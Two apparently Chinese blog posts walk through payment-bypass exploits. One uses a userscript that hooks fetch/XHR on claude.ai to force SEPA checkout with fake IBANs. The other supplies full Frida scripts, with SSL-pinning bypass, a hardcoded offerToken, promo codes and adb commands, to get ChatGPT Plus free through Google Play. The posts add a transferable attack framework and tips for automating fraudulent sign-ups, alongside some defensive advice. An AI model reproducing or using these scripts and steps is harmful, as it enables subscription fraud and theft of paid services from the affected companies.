漏洞复现 on 逍遥笔记

焚决 Claude — 一个油猴脚本如何撬开 Anthropic 的支付大门

Sun, 26 Jul 2026 04:49:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 时效性提醒：本文发布于 2026 年 7 月，文中涉及的 API 端点、支付流参数均为发布时有效值。Anthropic 随时可能修改 checkout_capabilities 响应结构或在后端追加校验逻辑，届时本方法将失效。本文保留仅供安全研究与客户端安全防御参考。

前言

最近圈子里流传着一个叫**「焚决」**的东西，名字取得很玄，搞得好像什么了不得的秘术。拿到手一看——是一段不到 200 行的 Tampermonkey 油猴脚本。

但别小看这 200 行代码。它干了一件非常漂亮的事情：在你打开 Claude 网页版准备付费订阅的瞬间，在浏览器内部悄无声息地篡改了一个 API 响应，把你看到的支付页面从信用卡表单换成了 SEPA 银行转账。然后你去 randomiban.com 随便生成一个德国银行账号，填进去，提交——Claude Max 到手，扣款金额 0 元。

这玩意在外面传得沸沸扬扬，各路卡网卖的廉价 Claude 会员，相当一部分就是靠这个批量生产的。

今天咱们把它彻底拆开。不光讲它怎么工作，更要讲为什么能成、它利用了支付系统的哪个结构性缺陷、以及这种攻击模式怎么迁移到其他平台。

一、攻击全景：一个 API 字段改写引发的连锁反应

正常的 Claude 订阅流程

打开 claude.ai，点击升级订阅，前端第一件事不是弹出支付表单——它先问后端一个问题：

GET /api/organizations/{org_id}/subscription/checkout_capabilities

这个接口的职责很简单：告诉前端，当前这个用户应该走哪条支付通道。 后端会综合 IP 地理位置、账号注册区域、浏览器 Accept-Language 等信号，返回一个支付流标识：

{
 "checkout_flow": "stripe"
}

前端拿到 stripe，渲染信用卡表单——卡号、有效期、CVV、3DS 二次验证，一套标准流程。信用卡支付是同步授权的，银行实时校验，过不了就是过不了。

劫持后的流程

脚本做的事情只有一件：把所有命中 checkout_capabilities 的响应体替换为：

{
 "checkout_flow": "cassia"
}

cassia 是 Anthropic 内部用于欧洲 SEPA 银行转账的支付流标识。前端一看返回值变了，渲染逻辑直接切换——不再是信用卡表单，而是一个 IBAN 输入框。

这时候去 randomiban.com 生成一个德国 IBAN（格式：DE + 2 位校验码 + 8 位银行代码 + 10 位账号，共 22 位），填进去，点提交。

前端校验？只检查 IBAN 格式是否合法（MOD 97-10 校验通过即可）。

后端校验？SEPA 体系下，提交时不做实时账户验证。

结果：Claude 立刻给你开通了订阅。

二、SEPA 直接借记——为什么填个假账号也能过

这是整个攻击的核心利用点，不理解 SEPA 的清算机制，就不可能理解这个漏洞为什么成立。

先搞清楚 SEPA 是什么

SEPA（Single Euro Payments Area，单一欧元支付区）覆盖 36 个欧洲国家和地区，是欧盟推动的统一支付基础设施。其中的 SEPA Direct Debit（直接借记，德语叫 Lastschriftverfahren）允许商家向消费者的银行账户"拉钱"——不是你给商家转账，而是商家拿着你的授权凭证去你的银行把钱取走。

听起来很方便对吧？问题就出在这个"拉钱"的流程设计上。

信用卡 vs SEPA 直接借记：两套完全不同的信任模型

	信用卡（Stripe 标准流）	SEPA 直接借记（cassia 流）
授权模式	同步在线授权	异步离线扣款
交易发起时校验	卡号 Luhn 校验 + CVV 验证 + 3DS 二次认证 + 银行实时授权	IBAN MOD 97-10 格式校验，仅此而已
银行参与时机	交易发起的瞬间	交易发起后的 1-3 个工作日
资金确认	毫秒级返回授权结果	银行不返回任何确认，排队等清算
消费者保护	Chargeback 争议流程	8 周无条件撤回权（SEPA CORE 规则）

看到关键区别了吗？信用卡在你点击支付的那一瞬间就跟银行确认了你有没有钱、卡号对不对、你本人是不是同意的。而 SEPA 直接借记完全不做这些——它只检查 IBAN 的格式，然后把扣款请求扔进银行间的批量清算队列里，等着慢慢处理。

SEPA CORE 清算流程

实际的清算过程是这样的：

你提交 IBAN
 ↓
支付网关做 MOD 97-10 校验（纯数学公式，检查 IBAN 格式是否合法）
 ↓
校验通过 → 支付网关返回"交易成功"
 ↓
Anthropic 收到成功信号 → 开通你的 Claude Max 订阅
 ↓
... T+1 到 T+3 工作日 ...
 ↓
扣款请求进入 SEPA CORE 清算系统
 ↓
商家银行 → 消费者银行：请从账号 DEXX XXXX XXXX XXXX XXXX XX 扣 $20
 ↓
消费者银行查询账号 → 账号不存在 / 余额不足 / 未授权
 ↓
返回 R 代码拒绝（R02=无效账号, R04=账户已关, R05=被授权人撤销...）
 ↓
Anthropic 收到扣款失败通知 → 关闭你的订阅

重点来了：从你提交 IBAN 到银行清算出结果，中间有一个 1-3 个工作日的真空期。 在这段时间里，你的 Claude Max 订阅是完全生效的——能用 Opus、能用所有高级功能、流量不限。

MOD 97-10：格式校验的局限性

IBAN 的校验算法叫 ISO 7064 MOD 97-10，原理其实很简单：

把 IBAN 的国家代码和校验码移到末尾
把字母转换为数字（A=10, B=11, …, Z=35）
对整个大整数做 MOD 97 运算
结果等于 1 就合法

这个算法能检出什么？格式错误——打错了某一位、漏了一位、国家代码不对。

这个算法检不出什么？一切跟真实世界有关的东西——账户是否存在、余额是否充足、持有人是不是你。

randomiban.com 生成的 IBAN 就是利用了这一点：它按照 MOD 97-10 算法逆向构造，生成的 IBAN 格式 100% 合法，能通过任何基于此算法的前端和后端校验。至于这个账号在不在现实中存在——那是 3 天后银行清算时才会发现的事情。

为什么偏偏是德国 IBAN？

SEPA 覆盖 36 个国家，为什么脚本选了德国（DE）？

格式最简单：DE 开头的 IBAN 固定 22 位，结构是 DE + 2位校验码 + 8位银行代码(BLZ) + 10位账号，没有额外的国家级校验叠加
通过率最高：德国 IBAN 在 Stripe 等主流支付网关的接受度最好，不会触发额外的地区风控
银行代码空间大：8 位 BLZ 有大量有效的银行代码段，随机生成碰上有效 BLZ 前缀的概率不低

对比一下法国 IBAN（27 位，还有额外的 RIB 密钥校验）或者西班牙 IBAN（24 位，有 DC 校验位），德国确实是阻力最小的选择。

三、脚本逐行技术拆解

理解了 SEPA 的机制，再来看脚本本身就清晰多了。每一个设计决策都有明确的技术理由。

3.1 元数据——抢在一切之前

// @name TestExample Cassia Response Mock
// @match *://claude.ai/*
// @match *://*.claude.ai/*
// @run-at document-start
// @grant none
// @sandbox raw

三个关键设定：

@run-at document-start：页面 DOM 还没开始构建，脚本已经注入完毕。这不是可选项——如果等到 document-idle，checkout_capabilities 的请求可能已经发出去了，Hook 就晚了。整个攻击成立的前提就是比目标请求更早完成注入。
@sandbox raw：绕过 Tampermonkey 的安全沙箱。默认沙箱会隔离脚本的执行上下文，导致你覆盖的 window.fetch 和页面实际用的 window.fetch 不是同一个。raw 模式下脚本直接在页面上下文中执行，Hook 才能真正生效。
@grant none：不申请 GM_* 系列 API 权限。一方面减少 Tampermonkey 的安全提示弹窗，另一方面 @sandbox raw 本身就不兼容 GM_* API。

3.2 精确制导——只改一个接口

const TARGET_PATH =
 /^\/api\/organizations\/[^/]+\/subscription\/checkout_capabilities\/?$/;

正则匹配精确到路径段，连末尾有没有斜杠都考虑了。只拦截这一个接口，其他所有请求原样放行。

为什么是这个接口？因为它是 Claude 前端支付流的单一决策点——前端根据它的返回值决定渲染 Stripe 信用卡表单还是 SEPA IBAN 输入框。控制了这个响应，就控制了用户看到的整个支付界面。

这种精准度也是为了隐蔽性——如果你 Hook 了所有请求，前端的行为会出各种异常，容易暴露。只改一个接口，前端其他部分的运行完全正常。

3.3 Fetch 拦截——先发后改

const nativeFetch = window.fetch;

window.fetch = async function (input, init) {
 const method = init?.method ||
 (input instanceof Request ? input.method : "GET");

 const targetUrl = getTargetUrl(input, method);
 const originalResponse = await nativeFetch.apply(this, arguments);

 if (!targetUrl) {
 return originalResponse;
 }

 return createMockResponse(originalResponse);
};

注意调用顺序：先用原生 fetch 把真实请求正常发出去，等拿到响应后再替换返回值。

这是这个脚本最巧妙的地方。

如果直接拦截请求不发出去，构造一个假响应返回呢？功能上没问题。但从服务端的角度看——你打开了支付页面，前端应该调 checkout_capabilities，结果后端日志里根本没看到这个请求。这就是一个异常信号，可以被 Anthropic 的安全团队用于检测。

先发后改的策略完美回避了这个问题：服务端日志里看到了正常的 GET 请求、正常的 200 响应，一切如常。篡改发生在浏览器内部，从 HTTPS 加密通道往外看什么都没变。

3.4 Response 重构——细节决定成败

function createMockResponse(originalResponse) {
 const headers = new Headers(originalResponse.headers);

 headers.delete("content-length");
 headers.delete("content-encoding");
 headers.delete("etag");
 headers.delete("content-md5");

 headers.set("content-type", "application/json; charset=utf-8");
 headers.set("content-length", String(MOCK_LENGTH));
 headers.set("cache-control", "no-store");

 const response = new Response(MOCK_BODY, {
 status: 200,
 statusText: "OK",
 headers
 });

逐个分析删掉的响应头：

content-encoding：原始响应大概率是 gzip 或 br 压缩的。我们构造的 JSON 是明文，如果不删这个头，浏览器会拿着明文 JSON 去做 gzip 解压——直接炸。
content-length：原始响应体大小和我们构造的不一样，不改的话浏览器会截断或报错。
etag / content-md5：完整性校验头。原始响应的哈希和我们篡改后的内容对不上。虽然浏览器通常不强制校验这些头，但删掉更保险——万一前端代码拿这些值做了缓存校验呢。
cache-control: no-store：强制不缓存。如果浏览器缓存了我们的假响应，下次刷新页面不走 Hook 了就拿到缓存的假数据——反而弄巧成拙。反过来，如果缓存了之前的真响应，前端可能直接用缓存不发请求，Hook 就没机会触发。no-store 确保每次都走网络请求，每次都经过 Hook。

3.5 XHR 双通道保险

脚本不光 Hook 了 fetch，还对 XMLHttpRequest 做了一套完整的拦截——覆盖了 responseText、response、status、statusText、getResponseHeader、getAllResponseHeaders。

为什么要两套？现代 Web 应用大多用 fetch，但你无法保证 Anthropic 的前端代码——或者它依赖的第三方库——不会在某些场景下 fallback 到 XHR。少 Hook 一个通道就是留了一条漏网之鱼。

XHR 的 Hook 方式也值得一看：

function replaceXhrGetter(propertyName, replacement) {
 const descriptor =
 Object.getOwnPropertyDescriptor(XhrPrototype, propertyName);

 if (!descriptor || typeof descriptor.get !== "function" ||
 descriptor.configurable === false) {
 console.warn(`[Cassia Mock] 无法接管 XHR.${propertyName}`);
 return;
 }

 const nativeGetter = descriptor.get;

 Object.defineProperty(XhrPrototype, propertyName, {
 ...descriptor,
 get: function () {
 if (!getMatchedXhr(this)) {
 return nativeGetter.call(this);
 }
 return replacement.call(this, nativeGetter);
 }
 });
}

用 Object.getOwnPropertyDescriptor 先取原始的 property descriptor，再通过 Object.defineProperty 精确替换 getter。比直接赋值靠谱得多——它保留了原始 descriptor 的所有属性（configurable、enumerable），而且会先检查 configurable 是否为 false，如果属性被冻结就优雅降级而不是静默失败。

3.6 状态指示器

const badge = document.createElement("div");
badge.id = "cassia-mock-badge";
badge.textContent = "Cassia Mock ON";

页面右下角一个绿色小角标，确认脚本已激活。实际攻击中这是个安慰剂——真正的确认是看支付页面有没有从信用卡变成 IBAN 输入框。但对于批量操作的卡商来说，这个视觉反馈能提高操作效率。

四、横向迁移：这不是一个漏洞，是一类漏洞

分析完焚决，我们跳出来看一个更有价值的问题：这类攻击是可复用的。

漏洞本质

客户端信任边界缺失：服务端将支付流的决策权——“这个用户该走哪条支付通道”——交给了一个客户端可以任意篡改的 API 响应。

这不是孤例。回顾我们之前分析过的一系列支付漏洞，它们共享同一个底层模式：

漏洞	被篡改的对象	信任边界裂缝
焚决（本例）	`checkout_capabilities` 响应	前端信任 API 返回值决定支付通道
GPT Plus offerToken 注入	Google Play Billing 内存中的 offerToken	服务端不校验 token 与账号资格的绑定关系
GPT iOS 收据复用	Base64 App Store 收据	服务端不验证收据与提交者账号的对应关系
Cloudflare Pro 竞态	并发请求的状态窗口	权限发放与支付确认之间存在可利用的时序差
RevenueCat 回调劫持	`fetch_token` 跨账号提交	第三方回调接口缺乏调用方鉴权

通用攻击模型

把这些漏洞抽象一下，可以提取出一个四步攻击框架：

1. 定位决策接口
 找到决定支付流 / 功能开关 / 定价计算的 API 端点
 信号关键词：checkout_capabilities, payment_methods, available_plans,
 eligible_promotions, feature_flags, entitlements

2. 注入篡改数据
 通过油猴脚本（Web）、MITM（移动端）、Frida Hook（Native）等
 方式替换响应内容

3. 选择确认延迟最长的路径
 SEPA 直接借记 > 银行转账 > PayPal > 信用卡
 延迟越长，时间窗口越大

4. 利用"前端校验 + 后端真空"
 前端校验通过后，后端在异步确认完成前不暂停服务发放

这个框架可以复用到任何订阅制平台，只要目标满足：

支付方式的选择依赖客户端可控状态
存在至少一种异步确认的支付方式
“服务开通"发生在"支付确认"之前

在漏洞挖掘实战中，打开 DevTools Network 面板，搜索 checkout、payment、billing、plan、subscription 这些关键词，找到所有影响支付逻辑的端点，逐个测试响应注入——这就是最直接的攻击面枚举方式。

五、防御视角

给服务端开发者

支付流决策必须服务端闭环。checkout_flow 的值应该在后端根据用户地区、账号状态、风控信号独立计算，前端只是一个渲染器——它不应该有能力选择自己走哪条支付通道。
异步支付必须延迟开通。SEPA、银行转账这类异步支付方式，在银行返回扣款成功确认之前，不应该开通任何付费功能。可以给用户一个"支付处理中"的状态，等清算完成后再激活。
API 响应签名。对关键 API 响应做 HMAC 签名（密钥存服务端），前端消费前验签。虽然不能根治（攻击者可以 Hook 验签逻辑），但大幅提高了攻击门槛——从改一个 JSON 字段变成了还得逆向验签实现。
IBAN 实时银行验证。接入 SWIFT gpi 或各国央行的 IBAN 验证服务（如德国 Bundesbank 的 IBAN 验证接口），在提交时做实时的账户存在性校验，而不是只靠本地 MOD 97。

给安全研究者

这类漏洞的攻击面很清晰——任何一个返回了影响支付逻辑数据的 API 端点，且这个数据可以被前端篡改，都是潜在的攻击入口。

一些高价值的"信号接口”：

checkout_capabilities / payment_methods / available_plans
region / locale / country_detection
eligible_promotions / offers / discounts
feature_flags / entitlements / subscription_tiers

六、实战翻车现场：“验证失败并清除旧会话”

讲完了攻击原理和防御思路，再来看一个真实场景——焚决并不是每次都能成功的。

在实际操作中（不管是焚决的 SEPA 路径还是正常的 Stripe 信用卡路径），你大概率会遇到这样一幕：

两条红色报错同时弹出来：

“未提交付款：发生了意外错误。请检查表单后重试。”
“验证失败并清除旧会话”

第一次看到这个，很多人会以为是卡的问题、网络的问题、脚本的问题。其实都不是——这是会话状态失效的问题，而且它能帮我们理解 Anthropic 的支付架构到底是怎么做验证的。

为什么会出现这个错误？

两条错误同时出现，意味着会话死在了支付提交的瞬间。理解这一点需要知道 Claude 支付提交时后端做了什么：

用户点击"提交支付"
 ↓
前端将 Stripe token / IBAN 提交到 Anthropic 后端
 ↓
后端第一件事：校验当前会话（session）是否有效
 ↓
会话失效 → 返回"验证失败" → 前端清除旧 session → 支付自然失败

关键点在于：Anthropic 在处理支付请求之前，会先验证你的登录会话。 如果会话已经过期或被吊销，支付请求根本不会到达 Stripe——它在 session 校验这一步就被打回来了。

五种常见的会话失效原因

① SK Cookie 过期（最常见）

Claude.ai 使用 __Secure-next-auth.session-token（业内简称 SK Cookie）维持登录态。这个 cookie 有 TTL，通常几个小时后过期。

如果你在打开支付页面之前获取的 cookie，到填完表单点提交的时候刚好过期——恭喜，踩中了时间窗口。自动化场景下尤其常见：任务在队列里排了一段时间，等轮到你的时候 cookie 已经不新鲜了。

② Session 被踢（多端互踢）

同一个账号如果在多个地方同时登录（比如你开了好几个 Worker 共用一个 cookie），后登录的会话会使前一个失效。你在 Worker A 上正准备提交支付，Worker B 刚好用同一个 cookie 做了一次请求刷新了 session——A 的 session 就死了。

③ 代理 IP 切换（Session-IP 绑定）

Anthropic 很可能在 session 上绑定了创建时的 IP 或 IP 段。如果你的代理在支付流程中间断线重连，换了一个出口 IP，后端一比对——这个 session 是从 45.67.xx.xx 创建的，现在请求来自 89.12.xx.xx？验证失败。

④ Stripe PaymentIntent 过期

即使 session 没问题，Stripe 侧也有自己的超时机制。PaymentIntent 和对应的 client_secret 有有效期（通常数小时，但在高风控场景下可能更短）。如果从打开支付页面到实际提交间隔太长，Intent 过期了，Stripe 返回错误，前端展示为"发生了意外错误"。

⑤ Checkout Session 并发冲突

同一个 Organization 如果同时发起了多个订阅操作（比如一个在升级 Pro，另一个在改支付方式），后一个操作创建的 checkout session 会使前一个失效。前一个提交的时候引用的 session ID 已经不存在了。

应对策略

针对这类会话失效问题，无论是做自动化还是做安全防护，都有几条通用原则：

从攻击者/自动化角度看：

策略	做法	解决的问题
Session 预检	进支付页之前先调 `/api/auth/session` 确认 cookie 存活	Cookie 过期
快进快出	打开支付页后立刻完成填写和提交，压缩停留时间	Intent 超时
代理钉住	支付全流程内锁定同一个代理出口，不允许中途切换	IP 绑定
Cookie 生命周期管理	记录每个 cookie 的获取时间，临近 TTL 时主动刷新	Cookie 过期
错误分类重试	检测到"清除旧会话"后标记为 session 失效，重新获取 cookie 再试	所有会话类问题
单账号串行化	同一个 org 同时只跑一个支付操作	并发冲突

从防御者角度看：

这个报错机制本身就是 Anthropic 的一层防线——在处理支付之前先验会话，避免在认证不确定的情况下创建订阅。这个设计是对的。

但如果要更进一步：

Session 绑定 + 支付确认二次绑定：不光 session 绑 IP，PaymentIntent 也应该绑定创建时的 session ID。Session 变了，Intent 就失效——即使攻击者拿到了一个新的有效 session，也得重新走一遍支付页面，不能复用之前的 Intent。
支付提交时的实时 Session 刷新：在提交支付的瞬间，后端不仅校验 session 是否有效，还可以强制刷新一次 token，确保提交时的 session 是"活跃"的而不仅仅是"未过期"的。
异常模式检测：如果一个 org 短时间内反复出现"session 校验通过 → 进入支付页 → 提交时 session 失效"的模式，说明有人在用自动化工具——标记为可疑行为。

小结

这个"验证失败"的报错看着烦人，但它揭示了一个重要的架构细节：Anthropic 的支付流不是单纯的前端-Stripe 双边交互，中间有一层 session 校验网关。 这层网关既是防线（挡住了过期/伪造的会话），也是自动化场景下最常踩的坑。

理解了这个机制，不管你是想加固自己平台的支付安全，还是想搞清楚为什么自己的自动化流程老是翻车——这个报错里都有答案。

七、写在最后

焚决这个东西，技术上说穿了就是一个客户端状态注入工具。它不攻击 Claude 的认证系统，不碰 Anthropic 的服务器，攻击目标是前端与后端之间那条看不见的信任边界。

它的精妙不在于代码多复杂——说真的 200 行 JS 连个正经项目的单元测试都撑不满——而在于它精准地捏住了两个系统设计缺陷的交叉点：

Anthropic 的前端支付流由一个可篡改的 API 响应驱动
SEPA 直接借记在清算完成前不验证账户真实性

两个缺陷单独拿出来，各自都不算致命。但组合在一起，就变成了一条从"修改一个 JSON 字段"到"零元订阅 Claude Max"的完整攻击链。

而这类"信任边界错位 + 异步确认间隙"的组合漏洞，绝不仅限于 Claude。任何一个同时提供信用卡和 SEPA 支付的 SaaS 平台，如果支付通道的选择权交给了前端，都可能面临同样的问题。

工具可以被修复，模式值得被记住。

GPT Plus 订阅漏洞深度分析 - Google Play Billing 鉴权缺失导致 0 元订阅

Mon, 20 Apr 2026 05:30:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 时效性提醒（2026-07 更新）：本文发布于 2026 年 4 月，距今已过去 3 个月。文中方案三（批量开 Pro）已在发布时标注为已修复；方案一（API 响应注入）和方案二（offerToken 替换）经过近 3 个月，当前可用性存疑，OpenAI/Google 可能已加强校验。本文保留仅供安全研究与技术原理学习参考。

前言

今天给大家带来一个相当有意思的支付安全案例分析。这个漏洞的核心在于 ChatGPT 安卓客户端在调用 Google Play Billing 时，服务端未对订阅凭证进行二次校验，导致攻击者可以通过两种方式实现 Plus/Pro 权益的零元订阅。

先说结论：这不是传统意义上的"破解"，而是典型的业务逻辑漏洞。漏洞根源在于 Google Play Billing 过度信任客户端传入的优惠凭证，且未与服务端进行资格校验。

两种攻击方式对比

攻击方式	攻击点	技术难度	需要 Root	稳定性
方式一：API 响应注入	HTTP 层（MITM）	中	否	依赖服务端校验
方式二：offerToken 替换	内存层（Frida）	高	是	更稳定

方式一：API 响应注入（无需 Root）

攻击原理

ChatGPT 安卓应用在启动时会调用以下接口获取当前登录用户信息：

GET https://android.chat.openai.com/backend-api/accounts/check/v4-2023-04-27

响应包中包含 eligible_promo_campaigns 字段，用于存储当前账号可用的优惠活动。正常情况下，这个字段由服务端根据账号资格动态返回。

通过中间人攻击（MITM），我们可以修改响应包，强行插入优惠码。

环境准备

必要条件：

美区谷歌账号 × 1（任意区均可，非必须英区）
任意美卡 × 1（用于绑定账号，实际不扣费）
安卓设备 × 1（需 Root 以安装 MITM 证书，模拟器亦可）

工具链：

MITM 抓包工具（推荐 HttpCanary 或 Charles）
Root 权限管理工具（Magisk）
ChatGPT 安卓客户端

可用优惠码

固定优惠码（每次可用）：

优惠码	效果	稳定性
`3-day-free-trial`	3 天免费试用	固定可用
`plus-1-month-free-trial`	1 个月免费试用	固定可用
`1-month-10-dollars`	半价优惠（$5/月）	固定可用
`pro-winback-1-month-free`	Pro 挽回试用 1 个月	特定资格账号

特殊优惠码（限时/限资格）：

优惠码	效果	说明
`2wqkodfx51z2x`	6 个月免费试用	限时优惠
`2ispxs5mtgz35`	12 个月免费试用	限时优惠

这些优惠码是固定的，每次都可以使用。这也是为什么外面卡网可以持续生产低价 Plus 会员的根本原因。

构造优惠响应

以下是注入 1 个月免费试用优惠的响应包示例：

{
 "eligible_promo_campaigns": {
 "plus": {
 "id": "plus-1-month-free",
 "metadata": {
 "plan_name": "chatgptplusplan",
 "title": "linux.do",
 "summary": "你已获得 1 个月的 Plus 套餐优惠促销代码。",
 "discount": {
 "percentage": 100
 },
 "credit_grant": null,
 "duration": {
 "num_periods": 1,
 "period": "month"
 },
 "schedule": null,
 "price_period": "recurring",
 "promotion_type": "discount",
 "promotion_type_label": "1-month free trial",
 "no_auto_renewal_at_discount_end": true,
 "plan_type_change": null
 }
 }
 }
}

关键字段说明：

discount.percentage: 100 表示 100% 折扣（即 0 元）
duration.num_periods: 优惠持续时间（1 表示 1 个月）
no_auto_renewal_at_discount_end: true 表示优惠结束后不自动续费

零元订阅与风控绕过

修改响应后重新打开 ChatGPT 应用，点击升级即可看到免费试用界面。

由于是 0 元订阅，Google Play 的风控级别极低，仅需通过验卡环节即可完成订阅。这也是为什么需要提前绑定一张美卡的原因——不是为了扣费，而是为了通过 Google 的风控验证。

提取订阅凭证

订阅成功后，ChatGPT 会向 RevenueCat 回调接口发送订阅凭证：

POST https://api.revenuecat.com/v1/receipts

拦截该请求，提取响应中的 fetch_token 字段：

{
 "fetch_token": "xxxx",
 ...
}

这个 fetch_token 就是订阅凭证。将其保存后，即可用于给其他账号开通 Plus 权益。

方式二：offerToken 内存替换（需要 Root）

攻击原理

ChatGPT Android 调用 Google Play Billing 时，把当前 SKU 的默认 offerToken 传给 Google Pay。这时候就可以在内存里把这个 token 替换成 plus-1-month-free-trial 的 offerToken，让 Google Play 按免费试用处理。实际支付金额就是 0 刀。

工作本质：并非攻击 OpenAI 的服务器，而是在用户本地设备上篡改客户端与 Google Play 之间的计费数据。

环境准备

设备/工具	用途
Root 的 Android 手机	需要刷 Magisk
Windows 电脑	用于运行 Frida 客户端和 ADB
Frida HLUDA Server	正常版本谷歌有检测 Hook 会闪退

四步攻击流程

第一步：通过 Frida 的 Java.choose 接口遍历内存中名为 c3q 的混淆计费类实例，利用反射强制访问其私有字段 b（对应 offerId）与 c（对应 offerToken）。

第二步：脚本持续比对，当发现某个实例的 offerId 与目标免费试用档位一致、且其 offerToken 以 Adumm 为前缀时，将该 offerToken 捕获并缓存。

第三步：对 Android 系统框架层的三个方法进行 Hook，分别为：

android.content.Intent.putExtra(String, String)
android.os.Bundle.putString(String, String)
android.os.Bundle.putStringArrayList(String, ArrayList)

在 ChatGPT 客户端发起付费订阅购买请求的瞬间，Hook 代码识别到即将写入的原始付费档位 offerToken（同样以 Adumm 开头），即将其替换为此前已缓存的免费试用 offerToken。

第四步：经篡改后的购买请求被 Google Play 按"免费试用成功"处理支付成功后并返回成功回执。

可用优惠码

优惠码	效果
`2wqkodfx51z2x`	6 个月免费
`2ispxs5mtgz35`	12 个月免费

完整 Frida 脚本（简化版）

下面是经过整理的简化版 Hook 脚本，移除了复杂的动态捕获逻辑，直接注入已知的免费试用 offerToken：

/**
 * GPT Plus 免费订阅 Hook 脚本 - 简化版
 * 用途：Hook Google Play Billing，直接替换 offerToken 为免费试用
 *
 * 使用方法：
 * 1. 手机 Root 并安装 Magisk
 * 2. 推送 frida-server 到手机并运行
 * 3. 电脑端运行：frida -U -f com.openai.chatgpt -l hook.js
 * 4. 在 ChatGPT App 中点击订阅
 * 5. 自动替换为免费试用，扣费 0 元
 */

"use strict";

// 配置区域：免费试用 offerToken（GPT Plus 1 个月）
var OFFER_TOKEN = "AdummIvzNOk965s/0UOf08hi8zE1QBQA0qHs28TasLNjkP+H9peebMqSzAJF85XTHZsGLhCLb8sUqKa79ScsbZ1UI8MnOiU9VvkCLLFXKQHE1K9KRT9pYVT2qZz0SC9N9IEs3jhI+hkaTkvc/Vc=";

var _keepAlive = setInterval(function() {}, 1000);
function log(msg) { console.log("[GPT] " + msg); }

Java.perform(function() {
 log("启动 — 注入 plus-1-month-free-trial");

 // SSL 解除（防止证书验证失败）
 try {
 var TM = Java.use("com.android.org.conscrypt.TrustManagerImpl");
 TM.checkTrustedRecursive.overload(
 "[Ljava.security.cert.X509Certificate;", "java.net.Socket",
 "boolean", "boolean", "boolean",
 "java.util.Collection", "java.util.Collection"
 ).implementation = function() { return Java.use("java.util.ArrayList").$new(); };
 } catch(_) {}

 try {
 Java.use("android.security.net.config.NetworkSecurityTrustManager")
 .checkPins.implementation = function() {};
 } catch(_) {}

 try {
 Java.use("android.net.http.X509TrustManagerExtensions")
 .checkServerTrusted.overload(
 "[Ljava.security.cert.X509Certificate;",
 "java.lang.String", "java.lang.String"
 ).implementation = function() { return Java.use("java.util.ArrayList").$new(); };
 } catch(_) {}

 // 注入 offerToken（Bundle 层）
 var JStr = Java.use("java.lang.String");
 try {
 var Bundle = Java.use("android.os.Bundle");
 Bundle.putStringArrayList
 .overload("java.lang.String", "java.util.ArrayList")
 .implementation = function(key, value) {
 if ((key === "SKU_OFFER_ID_TOKEN_LIST" ||
 key === "OFFER_ID_TOKEN_LIST") && value) {
 for (var i = 0; i < value.size(); i++)
 value.set(i, JStr.$new(OFFER_TOKEN));
 log("offerToken 已注入");
 }
 return this.putStringArrayList(key, value);
 };
 } catch(_) {}

 // 注入 offerToken（JSONObject 层）
 try {
 var JSONObj = Java.use("org.json.JSONObject");
 JSONObj.$init.overload("java.lang.String").implementation = function(s) {
 if (s && s.indexOf("oai.chatgpt.plus") !== -1 &&
 s.indexOf("offerToken") !== -1) {
 var patched = s.replace(
 /"offerToken"\s*:\s*"[^"]+"/g,
 '"offerToken":"' + OFFER_TOKEN + '"'
 );
 return this.$init(patched);
 }
 return this.$init(s);
 };
 } catch(_) {}

 log("就绪。请在 ChatGPT 中点击订阅按钮。");
});

完整 Frida 脚本（动态捕获版）

如果你拿到的 offerToken 格式有变化，可以使用这个动态捕获版本。它会自动扫描内存中的 offerToken 并替换：

// Dynamic offerToken — 1 MONTH FREE Plus trial
Java.perform(function () {
 console.log('[*] plus-1-month-free-trial');
 var TARGET_OFFER_ID = "plus-1-month-free-trial";

 var capturedToken = null;

 function scanC3qInstances() {
 try {
 Java.choose('c3q', {
 onMatch: function (inst) {
 try {
 var clazz = inst.getClass();
 var bF = clazz.getDeclaredField('b'); bF.setAccessible(true);
 var cF = clazz.getDeclaredField('c'); cF.setAccessible(true);
 var offerId = bF.get(inst);
 var offerToken = cF.get(inst);
 var oidStr = (offerId === null) ? '(default)' : ('' + offerId);
 var tokStr = (offerToken === null) ? 'null' : ('' + offerToken);
 if (tokStr.indexOf('Adumm') === 0 && oidStr === TARGET_OFFER_ID) {
 capturedToken = tokStr;
 console.log(' >>> FOUND ' + TARGET_OFFER_ID + ' <<<');
 }
 } catch (e) {}
 },
 onComplete: function () {}
 });
 } catch (e) {}
 }

 setInterval(function () {
 if (!capturedToken) Java.perform(scanC3qInstances);
 }, 3000);

 var Intent = Java.use('android.content.Intent');
 var Bundle = Java.use('android.os.Bundle');

 function maybeSwap(orig, ctx) {
 if (!orig || orig.indexOf('Adumm') !== 0) return orig;
 if (!capturedToken) Java.perform(scanC3qInstances);
 if (capturedToken) {
 console.log('[' + ctx + '] SWAP -> ' + TARGET_OFFER_ID);
 return capturedToken;
 }
 return orig;
 }

 Intent.putExtra.overload('java.lang.String', 'java.lang.String').implementation = function (k, v) {
 return this.putExtra(k, (v && v.indexOf && v.indexOf('Adumm') === 0) ? maybeSwap(v, 'Intent') : v);
 };
 Bundle.putString.implementation = function (k, v) {
 return this.putString(k, (v && v.indexOf && v.indexOf('Adumm') === 0) ? maybeSwap(v, 'Bundle') : v);
 };
 Bundle.putStringArrayList.implementation = function (k, list) {
 try {
 if (list !== null) for (var i = 0; i < list.size(); i++) {
 var v = list.get(i), sv = '' + v;
 if (sv.indexOf('Adumm') === 0) list.set(i, maybeSwap(sv, 'BundleArr'));
 }
 } catch (e) {}
 return this.putStringArrayList(k, list);
 };

 console.log('[+] Open subscription page first.');
});

使用说明（简化版脚本）：

启动 Frida 服务端

在手机上执行：

adb push frida-server /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server
adb shell su -c '/data/local/tmp/frida-server &'

注入脚本

在电脑端执行：
```
frida -U -f com.openai.chatgpt -l hook.js
```
看到 [GPT] 启动 — 注入 plus-1-month-free-trial 后继续。
完成购买

在 ChatGPT 里点击升级订阅 → 在 Google Play 弹窗里点确认 → 完成。

控制台应该显示 [GPT] offerToken 已注入，支付金额显示为 0 元。

使用说明（动态捕获版脚本）：

手机 Root 并安装 Magisk
推送 frida-server (HLUDA 版本) 到手机并运行
打开 ChatGPT 应用，进入升级 - 订阅 Plus 页面
电脑端运行 frida -U -f com.openai.chatgpt -l script.js 开启脚本
脚本会自动捕获并替换 token（控制台显示 SWAP -> plus-1-month-free-trial）
